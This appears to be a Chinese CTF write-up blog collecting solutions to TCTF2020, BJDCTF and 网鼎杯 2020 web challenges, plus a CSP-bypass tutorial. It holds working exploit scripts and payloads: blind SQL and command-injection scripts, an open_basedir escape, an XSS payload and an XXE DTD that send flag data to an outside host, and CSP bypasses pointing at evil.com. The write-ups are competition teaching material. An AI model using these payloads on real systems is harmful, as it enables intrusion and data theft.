tctf2020

tctf2020

好难.jpg

Wechat Generator

这题在我们一堆人的群殴下才做出来

题目主要的http请求是:

image130

image216

1
2
http://pwnable.org:5000/image/VMyeGe/xxx
xxx是后缀,具体列表在:https://imagemagick.org/script/formats.php

第一部分 ImageMagick读取文件

测试share发现,无论我们输入的previewid时候存在,都会生成一个短链

image480

访问对应的png界面时: http://pwnable.org:5000//image/ZpVQfl/png

返回报错

1
{"error": "Convert exception: unable to open image `previews/testting': No such file or directory @ error/blob.c/OpenBlob/2874"}

根据报错猜测是ImageMagick 来转换成对应的后缀

fuzz后缀后发现:

1
http://pwnable.org:5000/image/FdrpgF/htm

image857

根据preview返回的数据,后端估计是先生成一个svg,再转化为其他的格式

我们再看看他们是如何传递并表示表情的

image1001

image1085

发现

image1173

修改[]里的值可以逃出引号的限制

1
[{"type":0,"message":"[../../image/mOFJpl/svg#\"></g></svg><script srsrcc=\"/image/kOmxqd/jpg?callback=aaa\"></script><svg><g><image xlink:href=\"]"}]

image1437

搜索ImageMagick convert ctf 发现,ImageMagick convert可以读取文件

构造:

1
2
3
4
5
------WebKitFormBoundaryHJ88AZN7
Content-Disposition: form-data; name="data"

[{"type":0,"message":"[\" href=\"text:/etc/passwd\" onerror=\"//]"}]
------WebKitFormBoundaryHJ88AZN7--

image1845

测试常见的文件后找到源文件:app.py

image1953

这里我们重点关注responseJSON和 secret这两个函数

第二部分 xss管理员

secret是让我们xss管理员,但是存在csp:

1
img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

responseJSON可以让我们在json数据前加上xxx=,结合报错返回的数据是json格式,如果我们能控制报错信息,我们就能绕过csp

前文发现 ImageMagick 的那个接口(share)刚好可以控制报错信息

1
previewid=`test"},alert(1),{"2":"

image2409

接着就是让htm包含它:

1
[{"type":0,"message":"[../../image/mOFJpl/svg#\"></g></svg><link rel=\"stylesheet\" href=\"/static/css/bootstrap.min.css\"><script ssrcrc=\"/static/js/jquery-3.5.1.min.js\"></script><script ssrcrc=\"/static/js/bootstrap.min.js\"></script><script srsrcc=\"/image/kOmxqd/jpg?callback=aaa\"></script><svg><g><image xlink:href=\"]"}]

image2848

image2936

其他解法

一叶飘零大大的wp:

https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/#Wechat-Generator

easyphp

1
2
3
4
5
6
 <?php
if (isset($_GET['rh'])) {
eval($_GET['rh']);
} else {
show_source(__FILE__);
}

很简单的源代码,首先查看phpinfo:

image3265

open_basedir: /var/www/html 且该目录不可写,twitter上那个绕过open_basedir的方法就没用了

利用

1
$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');};

列目录:

1
bin dev etc flag.h flag.so home lib media mnt opt proc root run sbin srv start.sh sys tmp usr var

看到flag.h+flag.so+ffi猜测是要用ffi来加载flag.h然后执行其中的方法,

测试后发现 ffi::load 无视open_basedir ,但是只能加载 /flag.h

当我们又不知道flag.h中的函数定义。。。。。。

后来这题是因为别人把题目打穿了,全场绕过open_basedir,读取了flag

noeasyphp

这题听说是因为出题人因为easyphp重出的题目

这里就要直面刚刚明明无法读取flag.h又要了解flag.h中的函数声明

因为这里有ffi,可以直接操作系统的底层,我们试试内存泄露

1
2
3
4
5
$c=FFI::load("/flag.h");
$b=FFI::cast("void *",FFI::new("int[1]",false));
$a=FFI::string($b-400000,400000);
var_dump($a);

image4044

image4128

好玩.jpg

Cloud Computing

1
<?php mkdir('/var/www/html/sandbox/362495b25219141379062025d7d6d775772e6b7d/test2');chdir('/var/www/html/sandbox/362495b25219141379062025d7d6d775772e6b7d/test2');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('/flag'));

拟态防御记录

web3

./sancheck.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
package main

import (
"fmt"
"io/ioutil"
"log"
"net/http"
"net/url"
"strings"
)

var (
secret = "xiaomo.wabzsy"
banner = "Golang HTTP Server (v2.3.3)"
template = `<!DOCTYPE html>
<html>
<head>
<title>San Check</title>
</head>
<body>
<form method="POST">
<input type="text" name="url" />
<input type="submit" value="淦!" />
</form>
<pre>
%s
</pre>
</body>
<!-- ./sancheck.php -->
</html>`
)

func SanCheck(input string) error {
u, err := url.Parse(input)

if err != nil {
return err
}

if u.Scheme != "http" {
return fmt.Errorf("err: Invalid Scheme [%s]", u.Scheme)
}

if u.Opaque != "" {
return fmt.Errorf("err: WHAT AER YOU DOING ?!!! (%s)", u.Opaque)
}

if u.Hostname() != "127.0.0.1" {
return fmt.Errorf("err: Invalid Hostname [%s]", u.Hostname())
}

if u.Port() != "" && u.Port() != "80" {
return fmt.Errorf("err: Invalid Port [%s]", u.Port())
}

if u.User == nil {
return fmt.Errorf("err: Authorization Required")
}

if u.User.Username() != "root" {
return fmt.Errorf("err: Invalid Username [%s]", u.User.Username())
}

if password, set := u.User.Password(); !set || password != "P@ssw0rd!" {
return fmt.Errorf("err: Invalid Password [%s]", password)
}

if u.RequestURI() != "/flag.php" {
return fmt.Errorf("err: Invalid RequestURI [%s]", u.RequestURI())
}

if u.Fragment != "" {
return fmt.Errorf("err: Invalid Fragment [%s]", u.Fragment)
}

if !strings.Contains(u.String(), "'Pwned!'") {
return fmt.Errorf("err: San Check failed")
}

return nil
}

func DefaultHandler(w http.ResponseWriter, req *http.Request) {

input := req.PostFormValue("url")

if input == "" {
Response(w, template, "Where is the flag?")
return
}

if err := SanCheck(input); err == nil {
req, _ := http.NewRequest("GET", input, nil)
req.Header.Add("Secret", secret)
if resp, err := (&http.Client{}).Do(req); err == nil {
if body, err := ioutil.ReadAll(resp.Body); err == nil {
Response(w, template, string(body))
}
_ = resp.Body.Close()
} else {
Response(w, template, err.Error())
}
} else {
Response(w, template, err.Error())
}
}

func FlagHandler(w http.ResponseWriter, req *http.Request) {
if strings.Join(req.Header["Secret"], "") != secret {
Forbidden(w)
} else if !strings.HasPrefix(req.RemoteAddr, "127.0.0.1") {
Forbidden(w)
} else {
Response(w, "<h1>%s</h1>", readFlag())
}
}

func readFlag() string {
if bs, err := ioutil.ReadFile("./flag.txt"); err == nil {
return string(bs)
} else {
return fmt.Sprintf("Unable to read flag.txt, please contact technical support.(%s)", err.Error())
}
}

func CodeHandler(w http.ResponseWriter, _ *http.Request) {
w.Header().Set("Content-Type", "text/plain; charset=utf-8")
w.Header().Set("Server", banner)
if bs, err := ioutil.ReadFile("main.go"); err == nil {
_, _ = w.Write(bs)
} else {
_, _ = w.Write(
[]byte(
fmt.Sprintf("Unable to read main.go, please contact technical support.(%s)",
err.Error(),
),
),
)
}
}

func Forbidden(w http.ResponseWriter) {
w.WriteHeader(403)
Response(w, "<h1>%s</h1>", "403 Forbidden")
}

func Response(w http.ResponseWriter, tpl string, response string) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Header().Set("Server", banner)
if _, err := fmt.Fprintf(w, tpl, response); err != nil {
log.Println(err)
}
}

func main() {
http.HandleFunc("/", DefaultHandler)
http.HandleFunc("/flag.php", FlagHandler)
http.HandleFunc("/sancheck.php", CodeHandler)
log.Fatal(http.ListenAndServe(":80", nil))
}

根据issuehttps://github.com/golang/go/issues/29098 绕过

http://root:P@[email protected]]'Pwned!']:80/flag.php#

web2

ccreater@163.com E6N0HT aa05940594

cmd={“/expandocolumn/add-column”:{}}&p_auth=Gyr2NhlX&formDate=1585307550388&tableId=1&name=1&type=1&+defaultData:com.mchange.v2.c3p0.JndiRefForwardingDataSource={“jndiName”:”ldap://127.0.0.1:1389/Object”,”loginTimeout”:0}

白盒拟态路由

1
2
3
vtysh
conf t
ip route 200.14.1.0/24 x.x.x.x

白盒拟态域名服务器

上传busybox 来使用nslookup等命令

1
2
3
4
cat /etc/name.conf
根据配置修改
sudo /usr/local/bind-9.11.19/bin/named/named
busybox nslookup www.test.com 172.29.126.2 看结果

2020第三届BJDCTF

2020BJDCTF第三届

帮帮小红花

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
# -*-coding:utf-8 -*-
import requests
import re

flag_format = re.compile('flag\\{[0-9a-z]{8}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{4}-[0-9a-z]{12}\\}')
all_letter = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ-0123456789abcdefghijklmnopqrstuvwxyz()}{_'


def get_flag(command):
try:
r = requests.get('http://183.129.189.60:10071', params={'imagin': command}, timeout=9)
except:
return True
return False


if __name__ == '__main__':
flag = 'BJD{make_iptables_great_again}'
while flag_format.match(flag) == None:
staus = 0
for i in all_letter:
payload = 'cat /flag|grep %s &&sleep 10' % (flag + i)
print(payload)
if get_flag(payload):
staus = 1
flag += i
print(flag)
break
if staus == 0:
flag = flag[0:-1]

gob

image968

可能存在反序列化

和文件内容无关

上传文件后发现有个filename字段,show界面是直接出现图片的base64编码,如果我们能控制filename字段就有可能任意读取

当唯一麻烦的是,文件名后面有个md5校验值

但是当我们直接上传的时候她会生成一个,哪怕没上传成功

image1220

直接拿来用访问show.php就拿到flag了

Multiplayer Sports

Powered by beego 1.12.1

http://183.129.189.60:10112/?by=desc

黑名单:',",!,#,$,&,+,;,<,=,>,?,@,\,|,if,exp,info,ascii,ord,sys,count,order,by,author,where

给了个hint:table,不知道啥意思

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

import requests
import time
import string


def sqlinj(num):

burp0_url = "http://183.129.189.60:10117/"
param={"by":",extractvalue(1,(case when ((select conv(right(left(hex( (select group_concat(a,b) from (select 1`a`,2`b` union select * from hint )`ff` ) ),{POS}),2),16,10) )-{GUESS}) then 1 ELSE user() end))".format(POS=pos,GUESS=num)}
burp0_cookies = {"PHPSESSID": "Q/+BAwEBBVVzZXJzAf+CAAEEAQhVc2VybmFtZQEMAAEIUGFzc3dvcmQBDAABCEZpbGVuYW1lAQwAAQRTaWduAQwAAABj/4IBA2FhYQEDYmJiATIuL3VwbG9hZHMvM2UxMDRjYWU2NDAxZDI1NzY2NzZiMmM2ODk3MzE1NGQvcTEuanBnASBhMjVhY2E4OGZkOGYzYjYyMTkyZTYxNzgwMDYzNWQ4NAA=", "_xsrf": "azI3QUxLb3JwTDh5MFI5aXlPM1ZOQ2Y4UnNUSkVnY3E=|1590202537824785027|837f32c5f7f2b6c2a5ad0ffbcc803dff791bb5a078a0b68ea40428f37dfdf2ae"}
burp0_headers = {"Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7", "Connection": "close"}
r=requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies,params=param)
time.sleep(0.5)
print(param)
if "/static/img/dundundun.gif" in r.text:
print("filter ",param)
exit()
if "y1ng" in r.text:

return False
else :
return True




#database: ms
#mysql,sys
#Hint: /Source Password
#table:gtid_executed,sys_config
result="12,Hint: /Source Password: T1Me"
pos=len(result)*2+2

while True:
flag=False
for i in string.printable:
if sqlinj(ord(i)):
result+=i
print("Found:"+result)
flag=True
break
print("result:"+result)
pos+=2
if flag is False:
break

notes

www.zip

flag.php

1
2
3
4
if ($_SERVER['REMOTE_ADDR'] === '172.26.176.2') //only admin, who is at 172.26.176.2, can get FLAG
echo FLAG;
else echo $_SERVER['REMOTE_ADDR'];

bot脚本:

1
2
3
4
5
6
7
8
9
10

if (isset($_POST['url']) && isset($_POST['captcha']) ) { // report bug to our admin who is at 172.26.176.2, our admin will access the bug url to check
$url = $_POST['url'];
$captcha = $_POST['captcha'];
if ( checkNote($url) && checkNote(urldecode($url)) && checkURL($url) && substr(md5($captcha), 0 , 6) === $_SESSION['captcha'] ) {
//admin checking, it will take several seconds

} else alertMes('something wrong', './report_bugs.php');
}
?>
1
2
3
4
5
6
7
8
9
10
function checkURL($url) {
if ( preg_match('/[|~`^;&]/m', $url) )
return false;
else return true;
}
function checkNote($s) {
$filter = '/show|svg|archive|error|eval|on|atob|\\\u|&#|let|cookie|meta|create|fetch|f[^a-z]*l[^a-z]*a[^a-z]*g|src|append|<script>|func|javascript|res|lo|then|ftp|const|ajax|\$|\'|\"/imX';
if (preg_match($filter, $s) || strlen($s) >= 500 || strlen($s) <= 1) return false;
else return true;
}

csp:Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval'; img-src 'self'; object-src 'none'; require-trusted-types-for 'script';

绕过

1
2
<script >xmlhttp=new XMLHttpRequest();
xmlhttp[`\x6fnreadystatechange`]=()=>{if(xmlhttp.readyState==4 && xmlhttp.status==200){document[`\x6cocati\x6fn`][`href`]=`http://ccreat\x65r.top:60006/`+xmlhttp[`\x72espo\x6eseText`];}};xmlhttp.open(`GET`,`/lib\x2ffla\x67.php`,true);xmlhttp.send();</script>

拿到flag

ezupload

http://183.129.189.60:10057/

1
2
3
4
5
/flag.php
/index.php
/log.php
/login.php
/www.zip

flag.php

1
2
3
4
5
flag.php关键代码如下:
$classname = $_GET['classname'];
$data = $_GET['data'];
$class = new $classname($data['a'], $data['b']);
Only users from the website can request this page. flag in /flag, have fun!

先登陆康康,需要key,相关代码在:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
header("content-type:text/html;charset=utf-8");
session_start();
function getkey()
{
$key = '';
$chars = str_split('0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ');
for ($i = 0; $i < 48; $i++)
{
$key = $key . $chars[random_int(0, 61)];
}
$_SESSION['key'] = $key;
return $key;
}
function getreferer() {
static $referer;
if (isset($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
}
elseif(isset($_POST['URL_REFERER'])){
$referer = $_POST['URL_REFERER'];
}
else{
die("Where are you from?");
}
return $referer;
}
$key = getkey();
$url = getreferer();
if(!preg_match("/^http[s]{0,1}:\/\//i", $url)){
die("What do you want to do?");
}
$host = parse_url($url, PHP_URL_HOST);
if(preg_match("/^google\.com$/i", $host) or preg_match("/(.*)\.google\.com$/i", $host)){
$headers = get_headers($url,1);
if($headers['dd'] === 'MeAquaNo_1!!!'){
echo $key;
}
else{
echo 'dd beheading!';
}
}
else{
die("Only dd working at Google can get the key!");
}

老开发

http://183.129.189.60:10000/

image6583

image6695

User.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
if ($_SERVER['SCRIPT_FILENAME'] == __FILE__)
highlight_file(__FILE__);

/**
* @Entity
* @Table(name="user")
*/
class User
{
/**
* @Id
* @Column(type="integer")
* @GeneratedValue
*/
protected $uid;
/**
* @Column(type="string")
* @unique
*/
protected $username;
/**
* @Column(type="string")
*/
protected $password;
/**
* @Column(type="string")
*/
protected $role;

public function __get($name)
{
if (property_exists(__CLASS__, $name)) {
return $this->$name;
} else {
throw new Exception("Class " . __CLASS__ . " doesn't have property " . $name);
}
}
public function __set($name, $value)
{
if (property_exists(__CLASS__, $name)) {
$this->$name = $value;
} else {
throw new Exception("Class " . __CLASS__ . " doesn't have property " . $name);
}
}
}

布吉岛

http://183.129.189.60:10049/

http://183.129.189.60:10050/

bypass_csp

bypass csp

内容安全策略 (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。无论是数据盗取、网站内容污染还是散发恶意软件,这些攻击都是主要的手段。

csp语法

CSP的特点就是他是在浏览器层面做的防护,是和同源策略同一级别,除非浏览器本身出现漏洞,否则不可能从机制上绕过。

CSP只允许被认可的JS块、JS文件、CSS等解析,只允许向指定的域发起请求。

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP

https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Headers/Content-Security-Policy

default-src :在其他资源类型没有符合自己的策略时应用该策略(有关完整列表查看default-src )

image773

image878

strict-dynamic

script-src 'nonce-r4nd0m' 'strict-dynamic'; object-src 'none'; base-uri 'none';

script-src 中 strict-dynamic 中的作用:

  • 丢弃白名单
  • 允许执行js生成的js代码,例如:document.createElement(‘script’)
  • 使 nonce-only CSPs 可以工作

image1216

一些注意点

https://cdn.com/*只能匹配https://cdn.com/*

bypass

csp策略不完全导致的绕过

利用302跳转

Content-Security-Policy: default-src 'self '; script-src http://127.0.0.1/static/

如果可信域内存在一个可控的重定向文件,那么CSP的目录限制就可以被绕过。

假设static目录下存在一个302文件

1
2
3
Static/302.php

<?php Header("location: ".$_GET['url'])?>

像刚才一样,上传一个test.jpg 然后通过302.php跳转到upload目录加载js就可以成功执行

1
<script src="static/302.php?url=upload/test.jpg">

绕过域限制的一些tricks

Content-Security-Policy: default-src 'self'; script-src 'self'

1
2
3
<link rel="prefetch" href="http://lorexxar.cn"> (H5预加载)(only chrome)
<link rel="dns-prefetch" href="http://lorexxar.cn"> (DNS预加载)
<meta http-equiv="refresh" content="5;http://lorexxar.cn?c=[cookie]">

利用可信域的资源绕过

很多网站都会将google,baidu……添加到可信域里面,而如果里面存在可控的输出我们便可以绕过csp

常用可控jsonp: https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180

bypass nonce

利用<base>标签

Specify a default URL and a default target for all links on a page:

1
2
3
4
5
6
7
8
<head>
<base href="https://www.evil.com/" target="_blank">
</head>

<body>
<img src="images/stickman.gif" width="24" height="39" alt="Stickman"><!-- load https://www.evil.com/images/stickman.gif -->
<a href="tags/tag_base.asp">HTML base Tag</a>
</body><!-- point to https://www.evil.com/tags/tag_base.asp -->

因此我们可以设置个<base>标签,将相对路径导向恶意的网站

1
2
3
4
5
<!-- XSS -->
<base href="https://evil.com/">
<!-- End XSS -->

<script src="foo/bar.js" nonce="r4nd0m"></script>

https://evil.com/foo/bar.js

1
alert(0000);

成功执行

防御方式:

在csp中添加:base-uri ‘none’ 或 base-uri ‘self’

利用chrome bug 来修改script src的值

1
2
3
4
5
<!-- XSS -->
<svg><set href="victim" attributeName="href" to="data:,alert(1)" />
<!-- End XSS -->

<script id="victim" src="foo.js" nonce="r4nd0m"></script>

SVG中的set标签可以修改其他标签的属性值

该漏洞在chrome58中修复

steal nonce

via CSS selectors
1
2
3
4
5
6
7
8
<!-- XSS -->
<style>
script { display: block }
script[nonce^="a"]:after { content: url("record?a") }
script[nonce^="b"]:after { content: url("record?b") }
</style>
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>

可以联合其他标签来发出请求,如<a>

1
<style>script[nonce^="0"]~a{background:url("http://y5pwcd.ceye.io/success")}</style>

相关的css 语法

https://developer.mozilla.org/zh-CN/docs/Web/CSS/CSS_Selectors

https://developer.mozilla.org/zh-CN/docs/Web/CSS/Attribute_selectors

via dangling markup attack

破坏原有的结构,将script标签变成文本,诱使用户点击

1
2
3
4
<!-- XSS --> <form method="post" action="//evil.com/form">
<input type="submit" value="click"><textarea name="nonce">
<!-- End XSS -->
<script src="foo/bar.js" nonce="r4nd0m"></script>

JS framework-based CSP Bypasses

利用低版本JQuery等js框架漏洞来绕过csp

绕过实例

一些工具

检查csp: https://csp-evaluator.withgoogle.com/

常用可控jsonp: https://github.com/google/csp-evaluator/blob/master/whitelist_bypasses/jsonp.js#L32-L180

csp mitigator :一个csp调试工具

参考文章

[Spagnuolo_Hack In Bo - So we broke all CSPs… You won’t guess what happened next!](https://www.hackinbo.it/slides/1494231338_Spagnuolo_Hack In Bo - So we broke all CSPs… You won’t guess what happened next!.pdf)

前端防御从入门到弃坑–CSP变迁

收藏

Bypassing CSP script nonces via the browser cache: http://sebastian-lekies.de/csp/attacker.php

https://hurricane618.me/2018/06/30/csp-bypass-summary/

https://www.netsparker.com/blog/web-security/private-data-stolen-exploiting-css-injection/

https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense

https://storage.googleapis.com/pub-tools-public-publication-data/pdf/45542.pdf

2020年网鼎杯青龙组

2020年第二届“网鼎杯”网络安全大赛青龙组

web

filejava

测试发现DownloadServlet存在目录穿越漏洞
读取web.xml,然后依次读取对应的class文件
http://844bfa9b3fc8483d9988f6dc4541c4423a2ea466418e4bcb.cloudgame1.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/web.xml

web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://java.sun.com/xml/ns/javaee" xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd" id="WebApp_ID" version="2.5">
<display-name>file_in_java</display-name>
<welcome-file-list>
<welcome-file>upload.jsp</welcome-file>
</welcome-file-list>
<servlet>
<description></description>
<display-name>UploadServlet</display-name>
<servlet-name>UploadServlet</servlet-name>
<servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>UploadServlet</servlet-name>
<url-pattern>/UploadServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>ListFileServlet</display-name>
<servlet-name>ListFileServlet</servlet-name>
<servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>ListFileServlet</servlet-name>
<url-pattern>/ListFileServlet</url-pattern>
</servlet-mapping>
<servlet>
<description></description>
<display-name>DownloadServlet</display-name>
<servlet-name>DownloadServlet</servlet-name>
<servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>DownloadServlet</servlet-name>
<url-pattern>/DownloadServlet</url-pattern>
</servlet-mapping>
</web-app>

http://844bfa9b3fc8483d9988f6dc4541c4423a2ea466418e4bcb.cloudgame1.ichunqiu.com:8080/file_in_java/DownloadServlet?filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

DownloadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package cn.abc.servlet;

import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.net.URLEncoder;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class DownloadServlet
extends HttpServlet
{
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String fileName = request.getParameter("filename");
fileName = new String(fileName.getBytes("ISO8859-1"), "UTF-8");
System.out.println("filename=" + fileName);
if ((fileName != null) && (fileName.toLowerCase().contains("flag")))
{
request.setAttribute("message", "��������");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String fileSaveRootPath = getServletContext().getRealPath("/WEB-INF/upload");

String path = findFileSavePathByFileName(fileName, fileSaveRootPath);

File file = new File(path + "/" + fileName);
if (!file.exists())
{
request.setAttribute("message", "����������������������!");
request.getRequestDispatcher("/message.jsp").forward(request, response);
return;
}
String realname = fileName.substring(fileName.indexOf("_") + 1);

response.setHeader("content-disposition", "attachment;filename=" + URLEncoder.encode(realname, "UTF-8"));

FileInputStream in = new FileInputStream(path + "/" + fileName);

ServletOutputStream out = response.getOutputStream();

byte[] buffer = new byte['?'];
int len = 0;
while ((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();

out.close();
}

public String findFileSavePathByFileName(String filename, String saveRootPath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;
String dir = saveRootPath + "/" + dir1 + "/" + dir2;
File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}

UploadServlet

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
package cn.abc.servlet;

import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintStream;
import java.util.List;
import java.util.UUID;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletContext;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileUploadException;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import org.apache.poi.openxml4j.exceptions.InvalidFormatException;
import org.apache.poi.ss.usermodel.Sheet;
import org.apache.poi.ss.usermodel.Workbook;
import org.apache.poi.ss.usermodel.WorkbookFactory;

public class UploadServlet
extends HttpServlet
{
private static final long serialVersionUID = 1L;

protected void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
doPost(request, response);
}

protected void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException
{
String savePath = getServletContext().getRealPath("/WEB-INF/upload");

String tempPath = getServletContext().getRealPath("/WEB-INF/temp");
File tempFile = new File(tempPath);
if (!tempFile.exists()) {
tempFile.mkdir();
}
String message = "";
try
{
DiskFileItemFactory factory = new DiskFileItemFactory();

factory.setSizeThreshold(102400);

factory.setRepository(tempFile);

ServletFileUpload upload = new ServletFileUpload(factory);

upload.setProgressListener(new UploadServlet.1(this));

upload.setHeaderEncoding("UTF-8");

upload.setFileSizeMax(1048576L);

upload.setSizeMax(10485760L);
if (!ServletFileUpload.isMultipartContent(request)) {
return;
}
List<FileItem> list = upload.parseRequest(request);
for (FileItem fileItem : list) {
if (fileItem.isFormField())
{
String name = fileItem.getFieldName();

String str1 = fileItem.getString("UTF-8");
}
else
{
String filename = fileItem.getName();
if ((filename != null) && (!filename.trim().equals("")))
{
String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);

InputStream in = fileItem.getInputStream();
if ((filename.startsWith("excel-")) && ("xlsx".equals(fileExtName))) {
try
{
Workbook wb1 = WorkbookFactory.create(in);
Sheet sheet = wb1.getSheetAt(0);
System.out.println(sheet.getFirstRowNum());
}
catch (InvalidFormatException e)
{
System.err.println("poi-ooxml-3.10 has something wrong");
e.printStackTrace();
}
}
String saveFilename = makeFileName(filename);
request.setAttribute("saveFilename", saveFilename);
request.setAttribute("filename", filename);

String realSavePath = makePath(saveFilename, savePath);

FileOutputStream out = new FileOutputStream(realSavePath + "/" + saveFilename);

byte[] buffer = new byte['?'];

int len = 0;
while ((len = in.read(buffer)) > 0) {
out.write(buffer, 0, len);
}
in.close();

out.close();

message = "������������!";
}
}
}
}
catch (FileUploadException e)
{
e.printStackTrace();
}
request.setAttribute("message", message);
request.getRequestDispatcher("/ListFileServlet").forward(request, response);
}

private String makeFileName(String filename)
{
return UUID.randomUUID().toString() + "_" + filename;
}

private String makePath(String filename, String savePath)
{
int hashCode = filename.hashCode();
int dir1 = hashCode & 0xF;
int dir2 = (hashCode & 0xF0) >> 4;

String dir = savePath + "/" + dir1 + "/" + dir2;

File file = new File(dir);
if (!file.exists()) {
file.mkdirs();
}
return dir;
}
}

在报错中我们看到 poi-ooxml-3.10
谷歌下可以发现它其实是有个漏洞的https://www.cnblogs.com/iyiyang/articles/10055824.html

在服务器上放个evil.dtd,内容为:

1
2
3
4
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://ccreater.top:60004/?%file;'>">
%all;

分别在 [Content_Types].xml、/xl/workbook.xml、/xl/worksheets/shee1.xml 中添加
<!DOCTYPE ANY SYSTEM "http://ccreater.top:60000/evil.dtd"> 在根元素中添加<b>&send</b>

image9568

监听端口拿到flag

AreUSerialz

1
2
3
4
5
6
